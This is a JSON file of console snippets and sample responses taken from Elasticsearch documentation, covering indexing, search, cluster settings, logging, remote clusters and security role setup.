[ {"source_location":{"file":"tab-widgets/api-call.asciidoc","line":12},"digest":"3d1ff6097e2359f927c88c2ccdb36252","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /"}, {"source_location":{"file":"tab-widgets/api-call.asciidoc","line":13},"digest":"3d1ff6097e2359f927c88c2ccdb36252","lang":"console","found":["php","python","ruby","go","js"],"source":"GET /"}, {"source_location":{"file":"getting-started.asciidoc","line":65},"digest":"8575c966b004fb124c7afd6bb5827b50","lang":"console","found":["python","ruby","js"],"source":"POST books/_doc\n{\"name\": \"Snow Crash\", \"author\": \"Neal Stephenson\", \"release_date\": \"1992-06-01\", \"page_count\": 470}"}, {"source_location":{"file":"getting-started.asciidoc","line":77},"digest":"330b57d1ece90395f9b8b718d8ae2860","lang":"console-result","found":[],"source":"{\n \"_index\": \"books\",\n \"_id\": \"O0lG2IsBaSa7VYx_rEia\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 0,\n \"_primary_term\": 1\n}"}, {"source_location":{"file":"getting-started.asciidoc","line":104},"digest":"d04f0c8c44e8b4fb55f2e7d9d05977e7","lang":"console","found":["python","ruby","js"],"source":"POST /_bulk\n{ \"index\" : { \"_index\" : \"books\" } }\n{\"name\": \"Revelation Space\", \"author\": \"Alastair Reynolds\", \"release_date\": \"2000-03-15\", \"page_count\": 585}\n{ \"index\" : { \"_index\" : \"books\" } }\n{\"name\": \"1984\", \"author\": \"George Orwell\", \"release_date\": \"1985-06-01\", \"page_count\": 328}\n{ \"index\" : { \"_index\" : \"books\" } }\n{\"name\": \"Fahrenheit 451\", \"author\": \"Ray Bradbury\", \"release_date\": \"1953-10-15\", \"page_count\": 227}\n{ \"index\" : { \"_index\" : \"books\" } }\n{\"name\": \"Brave New World\", \"author\": \"Aldous Huxley\", \"release_date\": \"1932-06-01\", \"page_count\": 268}\n{ \"index\" : { \"_index\" : \"books\" } }\n{\"name\": \"The Handmaids Tale\", \"author\": \"Margaret Atwood\", \"release_date\": \"1985-06-01\", \"page_count\": 311}"}, {"source_location":{"file":"getting-started.asciidoc","line":125},"digest":"8eeabd21fcb2bc53e455f8e4008cb859","lang":"console-result","found":[],"source":"{\n \"errors\": false,\n \"took\": 29,\n \"items\": [\n {\n \"index\": {\n \"_index\": \"books\",\n \"_id\": \"QklI2IsBaSa7VYx_Qkh-\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 1,\n \"_primary_term\": 1,\n \"status\": 201\n }\n },\n {\n \"index\": {\n \"_index\": \"books\",\n \"_id\": \"Q0lI2IsBaSa7VYx_Qkh-\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 2,\n \"_primary_term\": 1,\n \"status\": 201\n }\n },\n {\n \"index\": {\n \"_index\": \"books\",\n \"_id\": \"RElI2IsBaSa7VYx_Qkh-\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 3,\n \"_primary_term\": 1,\n \"status\": 201\n }\n },\n {\n \"index\": {\n \"_index\": \"books\",\n \"_id\": \"RUlI2IsBaSa7VYx_Qkh-\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 4,\n \"_primary_term\": 1,\n \"status\": 201\n }\n },\n {\n \"index\": {\n \"_index\": \"books\",\n \"_id\": \"RklI2IsBaSa7VYx_Qkh-\",\n \"_version\": 1,\n \"result\": \"created\",\n \"_shards\": {\n \"total\": 2,\n \"successful\": 2,\n \"failed\": 0\n },\n \"_seq_no\": 5,\n \"_primary_term\": 1,\n \"status\": 201\n }\n }\n ]\n}"}, {"source_location":{"file":"getting-started.asciidoc","line":228},"digest":"bcc75fc01b45e482638c65b8fbdf09fa","lang":"console","found":["python","ruby","js"],"source":"GET books/_search"}, {"source_location":{"file":"getting-started.asciidoc","line":245},"digest":"36b86b97feedcf5632824eefc251d6ed","lang":"console","found":["python","ruby","js"],"source":"GET books/_search\n{\n \"query\": {\n \"match\": {\n \"name\": \"brave\"\n }\n }\n}"}, {"source_location":{"file":"setup/run-elasticsearch-locally.asciidoc","line":109},"digest":"90112d594b934c0111b7303b9f91cb7f","lang":"console","found":["ruby"],"source":"POST /customer/_doc/1\n{\n \"firstname\": \"Jennifer\",\n \"lastname\": \"Walters\"\n}"}, {"source_location":{"file":"setup/run-elasticsearch-locally.asciidoc","line":125},"digest":"3f3b3e207f79303ce6f86e03e928e062","lang":"console","found":["php","ruby","go","js"],"source":"GET /customer/_doc/1"}, {"source_location":{"file":"setup/run-elasticsearch-locally.asciidoc","line":135},"digest":"197dc41c8df9629e145b3064c63b2ccc","lang":"console","found":["ruby"],"source":"PUT customer/_bulk\n{ \"create\": { } }\n{ \"firstname\": \"Monica\",\"lastname\":\"Rambeau\"}\n{ \"create\": { } }\n{ \"firstname\": \"Carol\",\"lastname\":\"Danvers\"}\n{ \"create\": { } }\n{ \"firstname\": \"Wanda\",\"lastname\":\"Maximoff\"}\n{ \"create\": { } }\n{ \"firstname\": \"Jennifer\",\"lastname\":\"Takeda\"}"}, {"source_location":{"file":"setup/run-elasticsearch-locally.asciidoc","line":156},"digest":"75e229852d1404040bb2e83723c0f1db","lang":"console","found":["ruby"],"source":"GET customer/_search\n{\n \"query\" : {\n \"match\" : { \"firstname\": \"Jennifer\" }\n }\n}"}, {"source_location":{"file":"setup/important-settings/path-settings.asciidoc","line":71},"digest":"3da35090e093c2d83c3b7d0d83bcb4ae","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.exclude._name\": \"target-node-name\"\n }\n}"}, {"source_location":{"file":"setup/important-settings/path-settings.asciidoc","line":95},"digest":"daae2e6acebc84e537764f4ba07f2e6e","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.exclude._name\": null\n }\n}"}, {"source_location":{"file":"setup/secure-settings.asciidoc","line":39},"digest":"b14122481ae1f158f1a9a1bfbc4a41b1","lang":"console","found":["ruby"],"source":"POST _nodes/reload_secure_settings\n{\n \"secure_settings_password\": \"keystore-password\" <1>\n}"}, {"source_location":{"file":"modules/cluster/disk_allocator.asciidoc","line":108},"digest":"e20037f66bf54bcac7d10f536f031f34","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index.blocks.read_only_allow_delete\": null\n}"}, {"source_location":{"file":"modules/cluster/disk_allocator.asciidoc","line":162},"digest":"0e83f140237d75469a428ff403564bb5","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.disk.watermark.low\": \"100gb\",\n \"cluster.routing.allocation.disk.watermark.high\": \"50gb\",\n \"cluster.routing.allocation.disk.watermark.flood_stage\": \"10gb\",\n \"cluster.info.update.interval\": \"1m\"\n }\n}"}, {"source_location":{"file":"modules/cluster/allocation_filtering.asciidoc","line":22},"digest":"0f3a78296825d507dda6771f7ceb9d61","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.routing.allocation.exclude._ip\" : \"10.0.0.1\"\n }\n}"}, {"source_location":{"file":"modules/cluster/allocation_filtering.asciidoc","line":70},"digest":"6af9dc1c3240aa8e623ff3622bcb1b48","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.exclude._ip\": \"192.168.2.*\"\n }\n}"}, {"source_location":{"file":"modules/cluster/misc.asciidoc","line":133},"digest":"4207219a892339e8f3abe0df8723dd27","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"cluster.metadata.administrator\": \"sysadmin@example.com\"\n }\n}"}, {"source_location":{"file":"modules/cluster/misc.asciidoc","line":179},"digest":"58f72be60c25752d7899a35fc60fe6eb","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.indices.recovery\": \"DEBUG\"\n }\n}"}, {"source_location":{"file":"setup/logging-config.asciidoc","line":158},"digest":"73be1f93d789264e5b972ddb5991bc66","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.discovery\": \"DEBUG\"\n }\n}"}, {"source_location":{"file":"setup/logging-config.asciidoc","line":171},"digest":"b7a9f60b3646efe3834ca8381f8aa560","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.discovery\": null\n }\n}"}, {"source_location":{"file":"setup/logging-config.asciidoc","line":242},"digest":"8e286a205a1f84f888a6d99f2620c80e","lang":"console","found":["python","ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"logger.org.elasticsearch.deprecation\": \"OFF\"\n }\n}"}, {"source_location":{"file":"modules/network/tracers.asciidoc","line":16},"digest":"a45810722dc4f468f81b1e8a451d21be","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"logger.org.elasticsearch.http.HttpTracer\" : \"TRACE\"\n }\n}"}, {"source_location":{"file":"modules/network/tracers.asciidoc","line":29},"digest":"8b7956a2b88fd798a895d3466d671b58","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"http.tracer.include\" : \"*\",\n \"http.tracer.exclude\" : \"\"\n }\n}"}, {"source_location":{"file":"modules/network/tracers.asciidoc","line":46},"digest":"3250a8d2d2a9619035040e55a03620b9","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"logger.org.elasticsearch.http.HttpTracer\" : \"TRACE\",\n \"logger.org.elasticsearch.http.HttpBodyTracer\" : \"TRACE\"\n }\n}"}, {"source_location":{"file":"modules/network/tracers.asciidoc","line":92},"digest":"5d689d74062cddd01a0711a2fa7f23fd","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"logger.org.elasticsearch.transport.TransportService.tracer\" : \"TRACE\"\n }\n}"}, {"source_location":{"file":"modules/network/tracers.asciidoc","line":106},"digest":"c6d5e3b6ff9c665ec5344a4bfa7add80","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"transport.tracer.include\" : \"*\",\n \"transport.tracer.exclude\" : \"internal:coordination/fault_detection/*\"\n }\n}"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":47},"digest":"cb2f70601cb004b9ece9b0b43a9dc21a","lang":"console","found":["ruby"],"source":"POST /my-index-000001,my-index-000002/_cache/clear?request=true"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":59},"digest":"4498b9d3b0c77e1b9ef6664ff5963ce2","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index.requests.cache.enable\": false\n }\n}"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":72},"digest":"e26c96978096ccc592849cca9db67ffc","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{ \"index.requests.cache.enable\": true }"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":86},"digest":"5e099493f135ff7bd614e935c4f2bf5a","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?request_cache=true\n{\n \"size\": 0,\n \"aggs\": {\n \"popular_colors\": {\n \"terms\": {\n \"field\": \"colors\"\n }\n }\n }\n}"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":139},"digest":"36da9668fef56910370f16bfb772cc40","lang":"console","found":["ruby"],"source":"GET /_stats/request_cache?human"}, {"source_location":{"file":"modules/indices/request_cache.asciidoc","line":146},"digest":"90631797c7fbda43902abf2cc0ea8304","lang":"console","found":["ruby"],"source":"GET /_nodes/stats/indices/request_cache?human"}, {"source_location":{"file":"setup/advanced-configuration.asciidoc","line":124},"digest":"7cd23457e220c8b64c5b0041d2acc27a","lang":"console","found":["ruby"],"source":"GET _nodes/_all/jvm"}, {"source_location":{"file":"setup/sysconfig/swap.asciidoc","line":77},"digest":"ed250b74bc77c15bb794f55a12d762c3","lang":"console","found":["ruby"],"source":"GET _nodes?filter_path=**.mlockall"}, {"source_location":{"file":"setup/sysconfig/file-descriptors.asciidoc","line":29},"digest":"c5bc577ff92f889225b0d2617adcb48c","lang":"console","found":["ruby"],"source":"GET _nodes/stats/process?filter_path=**.max_file_descriptors"}, {"source_location":{"file":"modules/discovery/voting.asciidoc","line":26},"digest":"1605be45a5711d1929d6ad2d1ae0f797","lang":"console","found":["ruby"],"source":"GET /_cluster/state?filter_path=metadata.cluster_coordination.last_committed_config"}, {"source_location":{"file":"setup/add-nodes.asciidoc","line":109},"digest":"4e1f02928ef243bf07fd425754b7642b","lang":"console","found":[],"source":"# Add node to voting configuration exclusions list and wait for the system\n# to auto-reconfigure the node out of the voting configuration up to the\n# default timeout of 30 seconds\nPOST /_cluster/voting_config_exclusions?node_names=node_name\n\n# Add node to voting configuration exclusions list and wait for\n# auto-reconfiguration up to one minute\nPOST /_cluster/voting_config_exclusions?node_names=node_name&timeout=1m"}, {"source_location":{"file":"setup/add-nodes.asciidoc","line":152},"digest":"92f073762634a4b2274f71002494192e","lang":"console","found":["ruby"],"source":"GET /_cluster/state?filter_path=metadata.cluster_coordination.voting_config_exclusions"}, {"source_location":{"file":"setup/add-nodes.asciidoc","line":170},"digest":"ead4d875877d618594d0cdbdd9b7998b","lang":"console","found":[],"source":"# Wait for all the nodes with voting configuration exclusions to be removed from\n# the cluster and then remove all the exclusions, allowing any node to return to\n# the voting configuration in the future.\nDELETE /_cluster/voting_config_exclusions\n\n# Immediately remove all the voting configuration exclusions, allowing any node\n# to return to the voting configuration in the future.\nDELETE /_cluster/voting_config_exclusions?wait_for_removal=false"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":35},"digest":"1cd3b9d65576a9212eef898eb3105758","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": \"primaries\"\n }\n}"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":35},"digest":"f27c28ddbf4c266b5f42d14da837b8de","lang":"console","found":["ruby"],"source":"POST /_flush"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":54},"digest":"a21a7bf052b41f5b996dc58f7b69770f","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=true"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":93},"digest":"c0a4b0c1c6eff14da8b152ceb19c1c31","lang":"console","found":["ruby"],"source":"GET _cat/health\n\nGET _cat/nodes"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":127},"digest":"45ef5156dbd2d3fd4fd22b8d99f7aad4","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": null\n }\n}"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":147},"digest":"2d9b30acd6b5683f39d53494c0dd779c","lang":"console","found":["ruby"],"source":"GET _cat/health\n\nGET _cat/recovery"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":162},"digest":"3c5d5a5c34a62724942329658c688f5e","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=false"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":35},"digest":"1cd3b9d65576a9212eef898eb3105758","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": \"primaries\"\n }\n}"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":189},"digest":"f27c28ddbf4c266b5f42d14da837b8de","lang":"console","found":["ruby"],"source":"POST /_flush"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":54},"digest":"a21a7bf052b41f5b996dc58f7b69770f","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=true"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":219},"digest":"7e49705769c42895fb7b1e2ca028ff47","lang":"console","found":["ruby"],"source":"GET _cat/nodes"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":233},"digest":"45ef5156dbd2d3fd4fd22b8d99f7aad4","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.routing.allocation.enable\": null\n }\n}"}, {"source_location":{"file":"setup/restart-cluster.asciidoc","line":162},"digest":"3c5d5a5c34a62724942329658c688f5e","lang":"console","found":["ruby"],"source":"POST _ml/set_upgrade_mode?enabled=false"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":44},"digest":"0b1c5486f96bfa5db8db854c0178dbe5","lang":"console","found":[],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"cluster\" : {\n \"remote\" : {\n \"cluster_one\" : { <1>\n \"seeds\" : [\n \"127.0.0.1:{remote-interface-default-port}\" <2>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":70},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":79},"digest":"c2ca2d424ac290524a805742c1d07f9c","lang":"console-result","found":[],"source":"{\n \"cluster_one\" : {\n \"seeds\" : [\n \"127.0.0.1:{remote-interface-default-port}\"\n ],\n \"connected\" : true,\n \"num_nodes_connected\" : 1, <1>\n \"max_connections_per_cluster\" : 3,\n \"initial_connect_timeout\" : \"30s\",\n \"skip_unavailable\" : false, <2>\n \"cluster_credentials\": \"::es_redacted::\", <3>\n \"mode\" : \"sniff\"\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":125},"digest":"b4f4c9ad3301c97fb3c38d108a3bc453","lang":"console","found":[],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_one\": {\n \"seeds\": [\n \"127.0.0.1:{remote-interface-default-port}\"\n ]\n },\n \"cluster_two\": {\n \"mode\": \"sniff\",\n \"seeds\": [\n \"127.0.0.1:{remote-interface-default-port-plus1}\"\n ],\n \"transport.compress\": true,\n \"skip_unavailable\": true\n },\n \"cluster_three\": {\n \"mode\": \"proxy\",\n \"proxy_address\": \"127.0.0.1:{remote-interface-default-port-plus2}\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":168},"digest":"b1f7cb4157b13368373383abd7d2b8cb","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_two\": {\n \"transport.compress\": false\n },\n \"cluster_three\": {\n \"transport.compress\": true,\n \"transport.ping_schedule\": \"60s\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":194},"digest":"7456ef459d510d66ba4492cc9fbdc6c6","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_two\": {\n \"mode\": null,\n \"seeds\": null,\n \"skip_unavailable\": null,\n \"transport.compress\": null\n }\n }\n }\n }\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-api-key.asciidoc","line":26},"digest":"fd7eeadab6251d9113c4380a7fbe2572","lang":"console","found":[],"source":"POST /_security/role/remote-replication\n{\n \"cluster\": [\n \"manage_ccr\"\n ],\n \"remote_indices\": [\n {\n \"clusters\": [ \"my_remote_cluster\" ],\n \"names\": [\n \"leader-index\"\n ],\n \"privileges\": [\n \"cross_cluster_replication\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-api-key.asciidoc","line":53},"digest":"9d5855075e7008270459cc88c189043d","lang":"console","found":[],"source":"POST /_security/user/cross-cluster-user\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"remote-replication\" ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-api-key.asciidoc","line":71},"digest":"d69bd36335774c8ae1286cee21310241","lang":"console","found":[],"source":"POST /_security/role/remote-search\n{\n \"remote_indices\": [\n {\n \"clusters\": [ \"my_remote_cluster\" ],\n \"names\": [\n \"target-index\"\n ],\n \"privileges\": [\n \"read\",\n \"read_cross_cluster\",\n \"view_index_metadata\"\n ]\n }\n ]\n}\n"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-api-key.asciidoc","line":98},"digest":"f187ac2dc35425cb0ef48f328cc7e435","lang":"console","found":[],"source":"POST /_security/user/cross-search-user\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"remote-search\" ]\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":44},"digest":"0b1c5486f96bfa5db8db854c0178dbe5","lang":"console","found":[],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"cluster\" : {\n \"remote\" : {\n \"cluster_one\" : { <1>\n \"seeds\" : [\n \"127.0.0.1:{remote-interface-default-port}\" <2>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":70},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":79},"digest":"ddefd65116c3c0653a64c5d44f09ec62","lang":"console-result","found":[],"source":"{\n \"cluster_one\" : {\n \"seeds\" : [\n \"127.0.0.1:{remote-interface-default-port}\"\n ],\n \"connected\" : true,\n \"num_nodes_connected\" : 1, <1>\n \"max_connections_per_cluster\" : 3,\n \"initial_connect_timeout\" : \"30s\",\n \"skip_unavailable\" : false, <2>\n \"mode\" : \"sniff\"\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":125},"digest":"b4f4c9ad3301c97fb3c38d108a3bc453","lang":"console","found":[],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_one\": {\n \"seeds\": [\n \"127.0.0.1:{remote-interface-default-port}\"\n ]\n },\n \"cluster_two\": {\n \"mode\": \"sniff\",\n \"seeds\": [\n \"127.0.0.1:{remote-interface-default-port-plus1}\"\n ],\n \"transport.compress\": true,\n \"skip_unavailable\": true\n },\n \"cluster_three\": {\n \"mode\": \"proxy\",\n \"proxy_address\": \"127.0.0.1:{remote-interface-default-port-plus2}\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":168},"digest":"b1f7cb4157b13368373383abd7d2b8cb","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_two\": {\n \"transport.compress\": false\n },\n \"cluster_three\": {\n \"transport.compress\": true,\n \"transport.ping_schedule\": \"60s\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-connect.asciidoc","line":194},"digest":"7456ef459d510d66ba4492cc9fbdc6c6","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_two\": {\n \"mode\": null,\n \"seeds\": null,\n \"skip_unavailable\": null,\n \"transport.compress\": null\n }\n }\n }\n }\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":46},"digest":"b2dec193082462c775169db438308bc3","lang":"console","found":[],"source":"POST /_security/role/remote-replication\n{\n \"cluster\": [\n \"read_ccr\"\n ],\n \"indices\": [\n {\n \"names\": [\n \"leader-index-name\"\n ],\n \"privileges\": [\n \"monitor\",\n \"read\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":83},"digest":"cf9f51d719a2e90ffe36ed6fe56a4a69","lang":"console","found":[],"source":"POST /_security/role/remote-replication\n{\n \"cluster\": [\n \"manage_ccr\"\n ],\n \"indices\": [\n {\n \"names\": [\n \"follower-index-name\"\n ],\n \"privileges\": [\n \"monitor\",\n \"read\",\n \"write\",\n \"manage_follow_index\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":112},"digest":"9d5855075e7008270459cc88c189043d","lang":"console","found":[],"source":"POST /_security/user/cross-cluster-user\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"remote-replication\" ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":149},"digest":"a322c8c73d6f2f5e1e375588ed20b636","lang":"console","found":[],"source":"POST /_security/role/remote-search\n{\n \"indices\": [\n {\n \"names\": [\n \"target-indices\"\n ],\n \"privileges\": [\n \"read\",\n \"read_cross_cluster\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":184},"digest":"8d4ca17349e7e82c329cdd854cc670a1","lang":"console","found":[],"source":"POST /_security/role/remote-search\n{}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":195},"digest":"f187ac2dc35425cb0ef48f328cc7e435","lang":"console","found":[],"source":"POST /_security/user/cross-search-user\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [ \"remote-search\" ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":244},"digest":"8c2060b0272556457f4871c5d7a589fd","lang":"console","found":[],"source":"POST /_security/role/logstash-reader\n{\n \"indices\": [\n {\n \"names\": [\n \"logstash-*\"\n ],\n \"privileges\": [\n \"read\",\n \"view_index_metadata\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":268},"digest":"8a617dbfe5887f8ecc8815de132b6eb0","lang":"console","found":[],"source":"PUT /_security/user/cross-cluster-kibana\n{\n \"password\" : \"l0ng-r4nd0m-p@ssw0rd\",\n \"roles\" : [\n \"logstash-reader\",\n \"kibana-access\"\n ]\n}"}, {"source_location":{"file":"security/authentication/remote-clusters-privileges-cert.asciidoc","line":286},"digest":"5a6bb9ac6830668ecc00550c1aa8f2f1","lang":"console","found":[],"source":"POST /_security/role/logstash-reader\n{\n \"indices\": [\n {\n \"names\": [\n \"logstash-*\"\n ],\n \"privileges\": [\n \"read_cross_cluster\",\n \"read\",\n \"view_index_metadata\"\n ]\n }\n ]\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-migration.asciidoc","line":96},"digest":"b6a6aa9ba20e9a019371ae268488833f","lang":"console","found":["ruby"],"source":"GET /_cluster/settings?filter_path=persistent.cluster.remote"}, {"source_location":{"file":"modules/cluster/remote-clusters-migration.asciidoc","line":132},"digest":"0eccea755bd4f6dd47579a9022690546","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\" : {\n \"cluster\" : {\n \"remote\" : {\n \"my_remote\" : { <1>\n \"mode\": \"proxy\",\n \"proxy_address\": \"my.remote.cluster.com:9443\" <2>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-migration.asciidoc","line":165},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"modules/cluster/remote-clusters-migration.asciidoc","line":174},"digest":"e7d78b63015a6b18af6d28d24847096d","lang":"console-result","found":[],"source":"{\n \"my_remote\": {\n \"connected\": true, <1>\n \"mode\": \"proxy\",\n \"proxy_address\": \"my.remote.cluster.com:9443\",\n \"server_name\": \"\",\n \"num_proxy_sockets_connected\": 0,\n \"max_proxy_socket_connections\": 18,\n \"initial_connect_timeout\": \"30s\",\n \"skip_unavailable\": false,\n \"cluster_credentials\": \"::es_redacted::\" <2>\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-remote-info.asciidoc","line":2},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"modules/cluster/remote-clusters-remote-info.asciidoc","line":12},"digest":"d185e42af3c4ed91649e255f803cda8c","lang":"console-result","found":[],"source":"{\n \"cluster_one\" : {\n \"seeds\" : [\n \"127.0.0.1:9443\"\n ],\n \"connected\" : true, <1>\n \"num_nodes_connected\" : 1,\n \"max_connections_per_cluster\" : 3,\n \"initial_connect_timeout\" : \"30s\",\n \"skip_unavailable\" : false,\n \"cluster_credentials\": \"::es_redacted::\", <2>\n \"mode\" : \"sniff\"\n }\n}"}, {"source_location":{"file":"modules/cluster/remote-clusters-remote-info.asciidoc","line":2},"digest":"cc0cca5556ec6224c7134c233734beed","lang":"console","found":["ruby"],"source":"GET /_remote/info"}, {"source_location":{"file":"modules/cluster/remote-clusters-remote-info.asciidoc","line":12},"digest":"d185e42af3c4ed91649e255f803cda8c","lang":"console-result","found":[],"source":"{\n \"cluster_one\" : {\n \"seeds\" : [\n \"127.0.0.1:9443\"\n ],\n \"connected\" : true, <1>\n \"num_nodes_connected\" : 1,\n \"max_connections_per_cluster\" : 3,\n \"initial_connect_timeout\" : \"30s\",\n \"skip_unavailable\" : false,\n \"cluster_credentials\": \"::es_redacted::\", <2>\n \"mode\" : \"sniff\"\n }\n}"}, 